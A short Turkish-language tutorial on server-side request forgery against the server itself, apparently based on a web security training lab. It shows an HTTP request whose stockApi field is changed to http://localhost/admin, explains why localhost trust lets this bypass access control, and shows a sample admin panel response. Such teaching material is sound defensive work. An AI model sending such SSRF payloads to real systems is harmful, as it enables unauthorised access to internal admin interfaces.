Sunucuya karşı SSRF saldırısında, saldırgan uygulamanın kendi sunucusuna loopback network interface üzerinden HTTP isteği göndermesine neden olur. Bu genellikle 127.0.0.1 veya localhost hostname'leri kullanılarak yapılır.
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
Bu, sunucunun belirtilen URL'ye istek göndermesine, stok durumunu almasına ve kullanıcıya döndürmesine neden olur.
Saldırgan request'i localhost'a yönlendirebilir:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
stockApi=http://localhost/admin
Neden Bu Saldırı Çalışır?
• Access control farklı component'te implement edilmiş
• Disaster recovery için localhost'tan admin erişimi
• Admin interface farklı port'ta dinliyor
• Local machine'den gelen isteklere implicit trust
Admin paneller genellikle localhost'tan gelen istekleri "güvenli" kabul eder ve kimlik doğrulama yapmadan erişim sağlar. Bu disaster recovery ve system recovery amaçlıdır.
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<head><title>Admin Panel</title></head>
<body>
<h1>Administrative Interface</h1>
<a href="/admin/users">Manage Users</a>
<a href="/admin/delete?user=carlos">Delete User</a>
</body>
</html>